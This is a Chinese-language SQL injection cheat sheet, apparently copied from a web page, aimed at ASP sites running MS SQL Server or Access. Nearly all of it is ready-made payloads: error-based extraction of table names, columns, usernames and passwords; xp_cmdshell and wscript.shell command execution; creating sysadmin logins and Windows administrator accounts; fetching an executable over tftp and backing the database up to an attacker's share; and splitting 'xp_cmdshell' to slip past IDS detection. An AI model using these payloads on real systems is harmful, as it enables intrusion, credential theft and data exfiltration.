sql注入語(yǔ)句 上 http://www.790079.com/2021/12/56162/

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin 
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin
')) 來(lái)得到其他的表。
 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(st
r(id))) 暴到 UID 的數(shù)值假設(shè)為 18779569 uid=id 
 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè) admin 的一個(gè)字
段,假設(shè)為 user_id 
 and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id
',...)) 來(lái)暴出其他的字段
 and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶(hù)名
 依次可以得到密碼。。。。。假設(shè)存在 user_id username ,password 等字段
 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
 Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin 
 (union 語(yǔ)句到處風(fēng)靡啊，access 也好用
暴庫(kù)特殊技巧：:%5c='/' 或者把/和/ 修改%5 提交
 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address
')) 
 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(s
tr(id))) 判斷 id 值
 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 
 ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) e
xec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/
W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) 
values(@test) 
http://61.131.96.39/PageShow.asp?TianName=政策法規(guī)&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E
08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp
_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
 得到了 web 路徑 d:/xxxx,接下來(lái)：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
傳統(tǒng)的存在 xp_cmdshell 的測(cè)試過(guò)程：
 ;exec master..xp_cmdshell 'dir' 
 ;exec master.dbo.sp_addlogin hax;--
 ;exec master.dbo.sp_password null,hax,hax;--
 ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
 ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes
 /passwordreq:yes /active:yes /add';--
 ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
 exec master..xp_servicecontrol 'start', 'schedule' 
 exec master..xp_servicecontrol 'start', 'server' 
 http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',
@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net user swap 
5258 /add' 
 ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,
'run',null, 'C：/WINNT/system32/cmd.exe /c net localgroup administrators swap/add' 
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
 declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
 declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
 ;declare @a;set @a=db_name();backup database @a to disk='你的 IP 你的共享目錄 bak.dat' 
 如果被限制則可以。
 select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_add
login hax') 
 傳統(tǒng)查詢(xún)構(gòu)造：
 select * FROM news where id=... AND topic=... AND ..... 
 admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,0
1),1)='1') and userpass <>' 
 select 123;--
 ;use master;--
 :a' or name like 'fff%';-- 顯示有一個(gè)叫 ffff 的用戶(hù)哈。
 'and 1<>(select count(email) from [user]);--
 ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) 
where name='ffff';--
說(shuō)明:
 上面的語(yǔ)句是得到數(shù)據(jù)庫(kù)中的第一個(gè)用戶(hù)表,并把表名放在 ffff 用戶(hù)的郵箱字段中。
 通過(guò)查看 ffff 的用戶(hù)資料可得第一個(gè)用表叫 ad 
 然后根據(jù)表名 ad 得到這個(gè)表的 ID 
 ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='a
d') where name='ffff';--
 象下面這樣就可以得到第二個(gè)表的名字了
 ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>58
1577110) where name='ffff';--< 
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';
--
 ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff
';--
 ffff';update [users] set email=(select top 1 name from password where id=2) where name='fff
f';--
 exec master..xp_servicecontrol 'start', 'schedule' 
 exec master..xp_servicecontrol 'start', 'server' 
 sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
 擴(kuò)展存儲(chǔ)就可以通過(guò)一般的方法調(diào)用：
 exec xp_webserver 
 一旦這個(gè)擴(kuò)展存儲(chǔ)執(zhí)行過(guò)，可以這樣刪除它: 
 sp_dropextendedproc 'xp_webserver' 
 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char
(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
 insert into users values( 667,123,123,0xffff)-
 insert into users values ( 123, 'admin''--', 'password', 0xffff)-
 ;and user>0 
 ;;and (select count(*) from sysobjects)>0 
 ;;and (select count(*) from mysysobjects)>0 //為 access 數(shù)據(jù)庫(kù)
 -----------------------------------------------------------通常注射的一些介紹：
 A) ID=49 這類(lèi)注入的參數(shù)是數(shù)字型，SQL 語(yǔ)句原貌大致如下：
 select * from 表名 where 字段=49 
 注入的參數(shù)為 ID=49 And [查詢(xún)條件]，即是生成語(yǔ)句：
 select * from 表名 where 字段=49 And [查詢(xún)條件]
 (B) Class=連續(xù)劇 這類(lèi)注入的參數(shù)是字符型，SQL 語(yǔ)句原貌大致概如下：
 select * from 表名 where 字段='連續(xù)劇' 
 注入的參數(shù)為 Class=連續(xù)劇' and [查詢(xún)條件] and ''=' ，即是生成語(yǔ)句：
 select * from 表名 where 字段='連續(xù)劇' and [查詢(xún)條件] and ''='' 
 (C) 搜索時(shí)沒(méi)過(guò)濾參數(shù)的，如 keyword=關(guān)鍵字，SQL 語(yǔ)句原貌大致如下：
 select * from 表名 where 字段 like '%關(guān)鍵字%' 
 注入的參數(shù)為 keyword=' and [查詢(xún)條件] and '%25'='， 即是生成語(yǔ)句：
 select * from 表名 where 字段 like '%' and [查詢(xún)條件] and '%'='%' 
 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 
 sysobjects 是 SQLServer 的系統(tǒng)表，存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象，xtype='U' and status>0，
表示用戶(hù)建立的表名，上面的語(yǔ)句將第一個(gè)表名取出，與 0 比較大小，讓報(bào)錯(cuò)信息把表名暴露出來(lái)。
 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 
 從⑤拿到表名后，用 object_id('表名')獲取表名對(duì)應(yīng)的內(nèi)部 ID，col_name(表名 ID,1)代表該表的第 1 個(gè)字段
名，將 1 換成 2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
 post.htm 內(nèi)容：主要是方便輸入。
 枚舉出他的數(shù)據(jù)表名：
 id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>
0);--
 這是將第一個(gè)表名更新到 aaa 的字段處。
 讀出第一個(gè)表，第二個(gè)表可以這樣讀出來(lái)（在條件后加上 and name<>'剛才得到的表名'）。
 id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 
and name<>'vote');--
 然后 id=1552 and exists(select * from aaa where aaa>5) 
 讀出第二
表，^^^^^^一個(gè)個(gè)的讀出，直到?jīng)]有為止。
 讀字段是這樣：
 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
 然后 id=1552 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名
 id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
 然后 id=1552 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名
 --------------------------------高級(jí)技巧：
 [獲得數(shù)據(jù)表名][將字段值更新為表名，再想法讀出這個(gè)字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and nam
e<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件] 
 select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','tabl
e2',…) 
 通過(guò) SQLSERVER 注入漏洞建數(shù)據(jù)庫(kù)管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是 SYSADMIN 組] 
 [獲得數(shù)據(jù)表字段名][將字段值更新為字段名，再想法讀出這個(gè)字段的值就可得到字段名] 
 update 表名 set 字段=(select top 1 col_name(object_id('要查詢(xún)的數(shù)據(jù)表名'),字段列如:1) [ where 
條件] 
 繞過(guò) IDS 的檢測(cè)[使用變量] 
 declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
 declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
 1、 開(kāi)啟遠(yuǎn)程數(shù)據(jù)庫(kù)
 基本語(yǔ)法
 select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * f
rom table1' ) 
 參數(shù): (1) OLEDB Provider name